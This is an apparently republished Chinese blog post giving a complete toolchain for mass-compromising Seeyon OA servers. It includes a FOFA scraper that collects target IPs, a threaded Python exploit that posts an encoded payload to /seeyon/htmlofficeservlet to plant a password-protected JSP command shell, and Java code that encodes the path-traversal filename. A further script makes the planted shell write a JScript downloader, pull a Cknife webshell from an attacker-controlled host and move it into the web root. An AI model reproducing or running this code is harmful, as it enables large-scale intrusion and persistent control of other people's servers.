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致远OA_0day批量植Cknife马一步到位

發布時間：2023/12/10 编程问答 47 豆豆

生活随笔收集整理的這篇文章主要介紹了致远OA_0day批量植Cknife马一步到位小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

最近各位師傅都在刷這個嘛，原本的exp是上傳一個test123456.jsp的命令執行的馬子，不過我在試的時候發現替換成C刀一句話出錯,原因未知，并且test123456.jsp如果存在的話用原來exp是無法覆蓋的。

參考改進了t00ls師傅的代碼(https://www.t00ls.net/viewthread ... =%E8%87%B4%E8%BF%9C)?

A)批量的ip，利用腳本提取從fofa提取

B)上傳的文件名和馬子密碼可以自己定義，摘自t00l師傅的java代碼(https://www.t00ls.net/viewthread ... =%E8%87%B4%E8%BF%9C)#

C)植Cknife馬的思路是通過上傳的命令執行馬，生成下載文件的js,然后js下載payload并移動到web根目錄。

0x01 批量從fofa提取ip

# coding:utf-8 # 卿博客:https://www.cnblogs.com/-qing-/ from bs4 import BeautifulSoup import requests,re session = "_fofapro_ars_session=****************************************" header = {"Accept":"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01","Accept-Encoding":"gzip, deflate, br","Accept-Language":"zh-CN,zh;q=0.9","Connection":"keep-alive","User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36","X-CSRF-Token":"DpraMUR6PuefxdVpDmbZmgW9572Oz4CKSkqLa4u+astRxa+NSW5t0gfjlRB8cESuUrBvrD+zkGA9GFcfEYAVZA==","X-Requested-With":"XMLHttpRequest","Cookie":session, } def file_put(str):with open("ip.txt","a") as f:f.write(str)def spider_ip(url):html_doc = requests.get(url = url,headers = header).contentsoup = BeautifulSoup(html_doc)for link in soup.find_all('a'):if "http" in link.get('href') :if "http" in link.get('href') :ip = link.get('href')result = re.findall(r"\d+\.\d+\.\d+.\d+",ip,re.I)[0]print result file_put(ip+"\n")for i in range(1,5):spider_ip("https://fofa.so/result?full=true&page="+ str(i) +"&qbase64=c2VleW9u")

自己改下_fofapro_ars_session即可~~非會員只有前面5頁的查詢

0x02 上傳自己的命令執行馬

#!/usr/bin/env python3 #-*- encoding:utf-8 -*- # 卿博客:https://www.cnblogs.com/-qing-/import base64 import requests import threading import queueq=queue.Queue() file=open('url.txt') for x in file.readlines():q.put(x.strip()) print("============Write the cmdshell started!==============\n") #寫命令執行馬 def cmd():while not q.empty():url=q.get()headers={'Content-Type':'text/xml','User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.'}post_payload1="REJTVEVQJTIwVjMuMCUyMCUyMCUyMCUyMCUyMDM1NSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMDAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjA2NjYlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBEQlNURVAlM0RPS01MbEtsViUwQU9QVElPTiUzRFMzV1lPU1dMQlNHciUwQWN1cnJlbnRVc2VySWQlM0R6VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2JTBBQ1JFQVRFREFURSUzRHdVZ2hQQjNzekIzWHdnNjYlMEFSRUNPUkRJRCUzRHFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYlMEFvcmlnaW5hbEZpbGVJZCUzRHdWNjYlMEFvcmlnaW5hbENyZWF0ZURhdGUlM0R3VWdoUEIzc3pCM1h3ZzY2JTBBRklMRU5BTUUlM0RxZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkZFlRNXlpS1h3aVZHemZUMmRFZzYlMEFuZWVkUmVhZEZpbGUlM0R5UldaZEFTNiUwQW9yaWdpbmFsQ3JlYXRlRGF0ZSUzRHdMU0dQNG9FekxLQXo0JTNEaXolM0Q2NiUwQSUzQyUyNUAlMjBwYWdlJTIwbGFuZ3VhZ2UlM0QlMjJqYXZhJTIyJTIwaW1wb3J0JTNEJTIyamF2YS51dGlsLiolMkNqYXZhLmlvLiolMjIlMjBwYWdlRW5jb2RpbmclM0QlMjJVVEYtOCUyMiUyNSUzRSUzQyUyNSUyMXB1YmxpYyUyMHN0YXRpYyUyMFN0cmluZyUyMGV4Y3V0ZUNtZCUyOFN0cmluZyUyMGMlMjklMjAlN0JTdHJpbmdCdWlsZGVyJTIwbGluZSUyMCUzRCUyMG5ldyUyMFN0cmluZ0J1aWxkZXIlMjglMjklM0J0cnklMjAlN0JQcm9jZXNzJTIwcHJvJTIwJTNEJTIwUnVudGltZS5nZXRSdW50aW1lJTI4JTI5LmV4ZWMlMjhjJTI5JTNCQnVmZmVyZWRSZWFkZXIlMjBidWYlMjAlM0QlMjBuZXclMjBCdWZmZXJlZFJlYWRlciUyOG5ldyUyMElucHV0U3RyZWFtUmVhZGVyJTI4cHJvLmdldElucHV0U3RyZWFtJTI4JTI5JTI5JTI5JTNCU3RyaW5nJTIwdGVtcCUyMCUzRCUyMG51bGwlM0J3aGlsZSUyMCUyOCUyOHRlbXAlMjAlM0QlMjBidWYucmVhZExpbmUlMjglMjklMjklMjAlMjElM0QlMjBudWxsJTI5JTIwJTdCbGluZS5hcHBlbmQlMjh0ZW1wKyUyMiU1Q24lMjIlMjklM0IlN0RidWYuY2xvc2UlMjglMjklM0IlN0QlMjBjYXRjaCUyMCUyOEV4Y2VwdGlvbiUyMGUlMjklMjAlN0JsaW5lLmFwcGVuZCUyOGUuZ2V0TWVzc2FnZSUyOCUyOSUyOSUzQiU3RHJldHVybiUyMGxpbmUudG9TdHJpbmclMjglMjklM0IlN0QlMjAlMjUlM0UlM0MlMjVpZiUyOCUyMnFpbmclMjIuZXF1YWxzJTI4cmVxdWVzdC5nZXRQYXJhbWV0ZXIlMjglMjJwd2QlMjIlMjklMjklMjYlMjYlMjElMjIlMjIuZXF1YWxzJTI4cmVxdWVzdC5nZXRQYXJhbWV0ZXIlMjglMjJjbWQlMjIlMjklMjklMjklN0JvdXQucHJpbnRsbiUyOCUyMiUzQ3ByZSUzRSUyMitleGN1dGVDbWQlMjhyZXF1ZXN0LmdldFBhcmFtZXRlciUyOCUyMmNtZCUyMiUyOSUyOSUyMCslMjAlMjIlM0MvcHJlJTNFJTIyJTI5JTNCJTdEZWxzZSU3Qm91dC5wcmludGxuJTI4JTIyJTNBLSUyOSUyMiUyOSUzQiU3RCUyNSUzRTZlNGYwNDVkNGI4NTA2YmY0OTJhZGE3ZTMzOTBkN2Nl"post_payload1 = base64.b64decode(post_payload1)requests.packages.urllib3.disable_warnings()try:post=requests.post(url=url+'/seeyon/htmlofficeservlet',data=post_payload1,headers=headers,verify=False,timeout=10)r = requests.get(url=url+'/seeyon/qing123456.jsp?pwd=qing&cmd=cmd+/c+echo%20hacker',headers=headers,timeout=10,verify=False)if 'hacker' in r.text:print ('!=========Write to successful :'+url+'/seeyon/qing123456.jsp?pwd=qing&cmd=cmd+/c+echo+hacker'+'===============!!!\n')with open('success.txt','a') as f:f.write(url+'\n')else:passexcept:pass#線程隊列部分 th=[] th_num=10 for x in range(th_num):t=threading.Thread(target=cmd)th.append(t) for x in range(th_num):th[x].start() for x in range(th_num):th[x].join()

這里post_payload1是你的post包，也就是那個exp，改名的話各位可以參考使用t00ls老哥的，這里也貼上

import java.io.ByteArrayOutputStream; import java.io.UnsupportedEncodingException;public class Main {String TableBase64 = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6";public String DecodeBase64(String paramString){ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream();String str = "";byte[] arrayOfByte2 = new byte[4];try{int j = 0;byte[] arrayOfByte1 = paramString.getBytes();while (j < arrayOfByte1.length){for (int i = 0; i <= 3; i++){if (j >= arrayOfByte1.length){arrayOfByte2[i] = 64;}else{int k = this.TableBase64.indexOf(arrayOfByte1[j]);if (k < 0) {k = 65;}arrayOfByte2[i] = ((byte)k);}j++;}localByteArrayOutputStream.write((byte)(((arrayOfByte2[0] & 0x3F) << 2) + ((arrayOfByte2[1] & 0x30) >> 4)));if (arrayOfByte2[2] != 64){localByteArrayOutputStream.write((byte)(((arrayOfByte2[1] & 0xF) << 4) + ((arrayOfByte2[2] & 0x3C) >> 2)));if (arrayOfByte2[3] != 64) {localByteArrayOutputStream.write((byte)(((arrayOfByte2[2] & 0x3) << 6) + (arrayOfByte2[3] & 0x3F)));}}}}catch (StringIndexOutOfBoundsException localStringIndexOutOfBoundsException){//this.FError += localStringIndexOutOfBoundsException.toString(); System.out.println(localStringIndexOutOfBoundsException.toString());}try{str = localByteArrayOutputStream.toString("GB2312");}catch (UnsupportedEncodingException localUnsupportedEncodingException){System.out.println(localUnsupportedEncodingException.toString());}return str;}public String EncodeBase64(String var1){ByteArrayOutputStream var2 = new ByteArrayOutputStream();byte[] var7 = new byte[4];try {int var4 = 0;byte[] var6 = var1.getBytes("GB2312");while(var4 < var6.length) {byte var5 = var6[var4];++var4;var7[0] = (byte)((var5 & 252) >> 2);var7[1] = (byte)((var5 & 3) << 4);if (var4 < var6.length) {var5 = var6[var4];++var4;var7[1] += (byte)((var5 & 240) >> 4);var7[2] = (byte)((var5 & 15) << 2);if (var4 < var6.length) {var5 = var6[var4];++var4;var7[2] = (byte)(var7[2] + ((var5 & 192) >> 6));var7[3] = (byte)(var5 & 63);} else {var7[3] = 64;}} else {var7[2] = 64;var7[3] = 64;}for(int var3 = 0; var3 <= 3; ++var3) {var2.write(this.TableBase64.charAt(var7[var3]));}}} catch (StringIndexOutOfBoundsException var10) {// this.FError = this.FError + var10.toString(); System.out.println(var10.toString());} catch (UnsupportedEncodingException var11) {System.out.println(var11.toString());}return var2.toString();}public static void main(String[] args) {Main m = new Main();System.out.println(m.DecodeBase64("qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6"));System.out.println(m.EncodeBase64("..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\qing123456.jsp"));} }

還是有點速度~

0x03 利用執行馬植C刀馬

有的人覺得我這樣好麻煩，不過在第二步直接傳C刀馬要報錯，我有啥辦法列~~

#!/usr/bin/env python3 #-*- encoding:utf-8 -*- # 卿博客:https://www.cnblogs.com/-qing-/import requests import threading import queueq=queue.Queue()file=open('1.txt') for x in file.readlines():q.put(x.strip())#成功的命令執行寫c刀一句話 def CKnife():while not q.empty():url=q.get()headers={'Content-Type':'text/xml','User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.'}js_payload = "seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd /c echo var WinHttpReq = new ActiveXObject(\"WinHttp.WinHttpRequest.5.1\"); WinHttpReq.Open(\"GET\", WScript.Arguments(0), /*async=*/false); WinHttpReq.Send(); BinStream = new ActiveXObject(\"ADODB.Stream\"); BinStream.Type = 1; BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody); BinStream.SaveToFile(\"qingxin.jsp\"); >> qing.js"#js_payload = str(js_payload,encoding = "utf-8") requests.packages.urllib3.disable_warnings()r = requests.get(url=url+'/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd+/c+'+js_payload,headers=headers,timeout=10,verify=False) r2 = requests.get(url=url+'/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd+/c+dir',headers=headers,timeout=10,verify=False)# 第一步 #生成下載文件的js文件if 'qing.js' in r2.text:#第二步使用js遠程下載shell代碼r3 = requests.get(url=url+'/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd+/c+cscript+/nologo+qing.js+http://xxxxxxx/index.txt',headers=headers,timeout=10,verify=False)r4 = requests.get(url=url+'/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd+/c+dir',headers=headers,timeout=10,verify=False)# 判斷下載的jsp是否存在if 'qingxin.jsp' in r4.text:#移動到根目錄下r5 = requests.get(url=url+'/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd /c move qingxin.jsp ../webapps/seeyon/',headers=headers,timeout=10,verify=False)print ('!=========Cknife Webshell :'+url+'/seeyon/qingxin.jsp'+'===============!!!\n')with open('webshell.txt','a') as f:f.write(url+'/seeyon/qingxin.jsp'+'\n')else:print ('webshell write fail:'+url+ ' time out.'+'\n')else:print ('js_payload write fail:'+url+ ' time out.'+'\n')th=[] th_num=10 for x in range(th_num):t=threading.Thread(target=CKnife)th.append(t) for x in range(th_num):th[x].start() for x in range(th_num):th[x].join()

注意這里http://xxxxxxx/index.txt 是你需要下載的代碼，可以是C刀的一句話也可以是其他的。結果：

一晚上還是能搞一點。。。。僅供測試，且勿違反法律道德，后果自負。

轉載于:https://www.cnblogs.com/-qing-/p/11100461.html

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